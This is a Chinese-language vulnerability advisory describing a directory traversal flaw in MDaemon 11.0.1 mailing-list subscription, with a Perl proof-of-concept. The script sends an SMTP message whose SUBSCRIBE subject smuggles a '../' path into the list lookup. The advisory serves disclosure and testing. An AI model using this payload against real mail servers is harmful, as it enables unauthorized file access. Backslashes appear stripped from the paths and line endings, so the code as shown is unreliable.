Alt-N MDaemon 11.0.1邮件列表订阅目录遍历漏洞

来源:岁月联盟 编辑:猪蛋儿 时间:2010-05-05

影响版本:
Alt-N MDaemon 11.0.1

漏洞描述:
Alt-N MDaemon是一款基于Windows的邮件服务程序,WorldClient是其客户端。

MDaemon支持邮件列表功能。在配置邮件列表时,MDaemon会将邮件列表的配置存储在<MDaemonDir>(通常为 C:MDaemon)App目录下扩展名为grp的文件中,邮件列表组文件大致为:

---snip---
# Mailing List file
#
; ListName = test@company.mail
; Private = N
; HideFromAddressBook = N
; AllowExpn = Y
; ListNameInSubject = Y

...
---snip---

在订阅邮件列表时,用户发送带有以下标题的邮件:

SUBSCRIBE test-mailinglist@<domainhere>

这时会在C:MDaemonApp目录中搜索名为test-mailinglist@domain.grp的 grp的文件。攻击者可以提供目录遍历序列指向到其他的文件,例如:

SUBSCRIBE VVV@"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobar

在这种情况下MDaemon会在C:UsersKcopeOpenSharefoobar.grp下查找grp文件。如果存在,MDaemon就会使用这个文件并返回确认信。

<*参考

http://secunia.com/advisories/39672/
http://marc.info/?l=full-disclosure&m=127281620308385&w=2

*>


测试方法:
---snip---
use IO::Socket::INET;
use MIME::Base64;

$|=1;

$sock = IO::Socket::INET->new(PeerAddr => 'localhost',
                              PeerPort => '25',
                              Proto    => 'tcp');

print $sock "EHLO yourn";
print $sock "MAIL FROM: <niko>rn";
print $sock "RCPT TO: <MDaemon@company.mail>rn";
print $sock "DATArn";
print $sock "Date: 23 Oct 81 11:22:33rn";
print $sock "From: <niko>rn";
print $sock "To: <MDaemon@company.mail>rn";
print $sock "Subject: SUBSCRIBE
VVV@"../../../../../../../../../../../../../../../../../users/kcope/openshare/foobarrn";
print $sock "rnrntestrn.rnQUITrn";
print ".";

while(<$sock>) {
    print;
}
---snip---

安全建议:
厂商补丁:

Alt-N
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.altn.com